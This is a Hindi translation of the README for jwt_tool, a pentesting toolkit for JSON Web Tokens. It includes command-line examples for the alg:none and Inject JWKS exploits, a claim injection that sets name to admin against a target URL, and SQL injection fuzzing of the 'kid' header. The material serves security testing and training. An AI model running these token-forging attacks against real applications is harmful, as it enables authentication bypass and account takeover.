
🐍 JSON Web Tokens के परीक्षण, समायोजन और क्रैकिंग के लिए एक टूलकिट
jwt_tool.py JWT (JSON Web Tokens) को मान्य करने, जाली बनाने, स्कैन करने और छेड़छाड़ करने के लिए एक टूलकिट है।

इसकी कार्यक्षमता में शामिल हैं:
यह टूल pentesters के लिए लिखा गया है, जिन्हें उपयोग में आने वाले टोकन की मजबूती और ज्ञात हमलों के प्रति उनकी संवेदनशीलता की जाँच करने की आवश्यकता होती है। कुछ JWT लाइब्रेरियों में मौजूद संभावित कमजोरियों की गहराई से जाँच करने में मदद के लिए छेड़छाड़, साइनिंग और सत्यापन के कई विकल्प उपलब्ध हैं।
यह CTF चैलेंजर्स के लिए भी सफल रहा है - क्योंकि CTFs फिलहाल JWTs में रुचि रखते हैं।
यह डेवलपर्स के लिए भी उपयोगी हो सकता है जो परियोजनाओं में JWTs का उपयोग कर रहे हैं, लेकिन जाली टोकन का उपयोग करते समय स्थिरता और ज्ञात भेद्यताओं के लिए परीक्षण करना चाहते हैं।
यह टूल मूल रूप से Python 3 (संस्करण 3.6+) में सामान्य लाइब्रेरियों का उपयोग करके लिखा गया है, हालाँकि विभिन्न क्रिप्टोग्राफ़िक फ़ंक्शन (और सामान्य सुंदरता/पठनीयता) के लिए कुछ सामान्य Python लाइब्रेरियों की स्थापना की आवश्यकता होती है।
(इस टूल का एक पुराना Python 2.x संस्करण उन लोगों के लिए legacy branch पर उपलब्ध है जिन्हें इसकी आवश्यकता है, हालाँकि इसे अब समर्थित या अद्यतन नहीं किया जाएगा)
jwt_tool के लिए पसंदीदा उपयोग official Dockerhub-hosted jwt_tool docker image के साथ है।
इसे चलाने के लिए आधार कमांड इस प्रकार है:
jwt_tool चलाने के लिए आधार कमांड:
docker run -it --network "host" --rm -v "${PWD}:/tmp" -v "${HOME}/.jwt_tool:/root/.jwt_tool" ticarpi/jwt_tool
उपरोक्त कमांड का उपयोग करके आप सामान्य रूप से किसी भी अन्य तर्क को जोड़ सकते हैं।
ध्यान दें कि आपकी वर्तमान कार्यशील निर्देशिका में स्थानीय फ़ाइलें डॉकर कंटेनर की /tmp निर्देशिका में मैप की जाएंगी, इसलिए आप उन्हें अपने तर्कों में उस निरपेक्ष पथ का उपयोग करके उपयोग कर सकते हैं।
यानी
/tmp/localfile.txt
स्थापना केवल jwt_tool.py फ़ाइल डाउनलोड करने (या git clone रेपो) जैसी है।
(यदि आप इसे अपने $PATH में जोड़ना चाहते हैं और कहीं से भी कॉल करना चाहते हैं तो फ़ाइल को chmod भी करें।)
$ git clone https://github.com/ticarpi/jwt_tool
$ python3 -m pip install -r requirements.txt
पहली बार चलाने पर टूल एक कॉन्फ़िग फ़ाइल, कुछ उपयोगिता फ़ाइलें, लॉगफ़ाइल, और विभिन्न प्रारूपों में Public और Private keys का एक सेट उत्पन्न करेगा।
jwtconf.ini में "jwkloc" मान के रूप में संग्रहीत किया जाना चाहिए।Windows cmd/Powershell में टूटे हुए रंगों को ठीक करने के लिए: jwt_tool.py में नीचे दी गई दो पंक्तियों को अनकम्मेंट करें (प्रत्येक पंक्ति की शुरुआत से "# " हटाएँ)
आपको colorama भी स्थापित करना होगा: python3 -m pip install colorama
# import colorama
# colorama.init()
पहला तर्क स्वयं JWT होना चाहिए (जब तक कि इसे हेडर या कुकी मान में प्रदान न किया गया हो)। कोई अतिरिक्त तर्क प्रदान न करने पर समीक्षा के लिए डिकोड किए गए टोकन मान दिखाई देंगे।
$ python3 jwt_tool.py <JWT>
या Docker आधार कमांड:
$ docker run -it --network "host" --rm -v "${PWD}:/tmp" -v "${HOME}/.jwt_tool:/root/.jwt_tool" ticarpi/jwt_tool
टूलकिट टोकन को मान्य करेगा और हेडर और payload मानों को सूचीबद्ध करेगा।
कई अतिरिक्त तर्क आपको सीधे उपयुक्त फ़ंक्शन पर ले जाएंगे और आपको आपके परीक्षणों में उपयोग के लिए तैयार टोकन लौटाएंगे।
उदाहरण के लिए, मौजूदा टोकन के साथ छेड़छाड़ करने के लिए निम्नलिखित चलाएँ:
$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -T
कई विकल्पों को विकल्प सेट करने के लिए अतिरिक्त मानों की आवश्यकता होती है।
उदाहरण के लिए, एक विशेष प्रकार का एक्सप्लॉइट चलाने के लिए आपको eXploit (-X) विकल्प चुनना होगा और भेद्यता का चयन करना होगा (यहाँ alg:none एक्सप्लॉइट के लिए "a" का उपयोग करते हुए):
$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -X a
टोकन सत्यापित करने जैसे कुछ विकल्पों के लिए अतिरिक्त पैरामीटर/फ़ाइलें प्रदान करने की आवश्यकता होती है (यहाँ PEM प्रारूप में Public Key प्रदान करते हुए):
$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -V -pk public.pem
सभी मोड अब टोकन को सीधे किसी एप्लिकेशन पर भेजने की अनुमति देते हैं।
आपको निर्दिष्ट करने की आवश्यकता है:
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -rh "Origin: null" -cv "Welcome" -M erअनुरोध से विभिन्न प्रतिक्रियाएँ प्रदर्शित होती हैं:
यहाँ JWT कार्यान्वयन के बुनियादी मूल्यांकन का एक त्वरित रन-थ्रू है। यदि इन विकल्पों से कोई सफलता नहीं मिलती है तो नई भेद्यताओं (या zero-days!) की खोज के लिए अन्य मोड और विकल्पों में गहराई से जाएँ।
एप्लिकेशन में अपेक्षित claims/मानों का अंदाजा लगाने के लिए टोकन मान पढ़ें:
$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw
सामान्य गलत कॉन्फ़िगरेशन की खोज के लिए प्रदान किए गए टोकन को सीधे एप्लिकेशन के विरुद्ध एक Playbook Scan चलाएँ:
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb
यदि कोई सफल भेद्यता पाई जाती है तो उसका शोषण करने का प्रयास करने के लिए किसी भी प्रासंगिक claim को बदलें (यहाँ Inject JWKS एक्सप्लॉइट का उपयोग करके और एक नया उपयोगकर्ता नाम इंजेक्ट करते हुए):
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin
अप्रत्याशित मानों और claims का परीक्षण करके अप्रत्याशित ऐप व्यवहारों की पहचान करने के लिए गहराई से जाँच करें, या प्रोग्रामिंग लॉजिक या टोकन प्रोसेसिंग पर हमले चलाएँ:
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt
अनुरोध और : के बारे में अधिक डेटा पढ़ने के लिए लॉग को क्वेरी करके किसी भी सफल शोषण की समीक्षा करें:
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin
विकल्पों की सूची के लिए usage फ़ंक्शन को कॉल करें:
टोकन सत्यापित करने जैसे कुछ विकल्पों के लिए अतिरिक्त पैरामीटर/फ़ाइलें प्रदान करने की आवश्यकता होती है:
$ python3 jwt_tool.py -h
अधिक विस्तृत उपयोगकर्ता मार्गदर्शिका wiki पृष्ठ पर पाई जा सकती है।

इस बारे में विस्तृत जानकारी के लिए JWT Attack Playbook पर जाएँ कि JWT क्या हैं, वे क्या करते हैं, और भेद्यताओं, सामान्य कमजोरियों और अनपेक्षित कोडिंग त्रुटियों के लिए उनका पूरी तरह से परीक्षण करने का एक पूर्ण कार्यप्रवाह।
Burp Search में JWTs खोजने के लिए Regex
(सुनिश्चित करें कि 'Case sensitive' और 'Regex' विकल्प चयनित हैं)
[= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]* - url-safe JWT संस्करण
[= ]eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]* - सभी JWT संस्करण (गलत सकारात्मक की अधिक संभावना)
JWT Attack Playbook (https://github.com/ticarpi/jwt_tool/wiki) - संपूर्ण JWT परीक्षण पद्धति के लिए
इस टूल के लिए बहुत सारी प्रारंभिक प्रेरणा Tim McLean द्वारा खोजी गई भेद्यताओं से आती है।
JWT कमजोरियों पर उनका ब्लॉग यहाँ देखें: https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/
JWT भेद्यताओं के परीक्षण के लिए बहुत सारे अभ्यास Pentesterlab (https://www.pentesterlab.com) द्वारा प्रदान किए जाते हैं। यदि आप Web App Pentesting में रुचि रखते हैं तो मैं PRO सदस्यता की अत्यधिक अनुशंसा करूँगा।
कृपया ध्यान दें: यह टूलकिट अधिकांश Pentesterlab JWT अभ्यासों को सही ढंग से उपयोग करने पर कुछ सेकंड में हल कर देगा, हालाँकि मैं दृढ़ता से आपको प्रोत्साहित करता हूँ कि इन अभ्यासों को स्वयं पूरा करें, संरचना और कमजोरियों को समझें। आखिरकार, यह सब सीखने के बारे में है...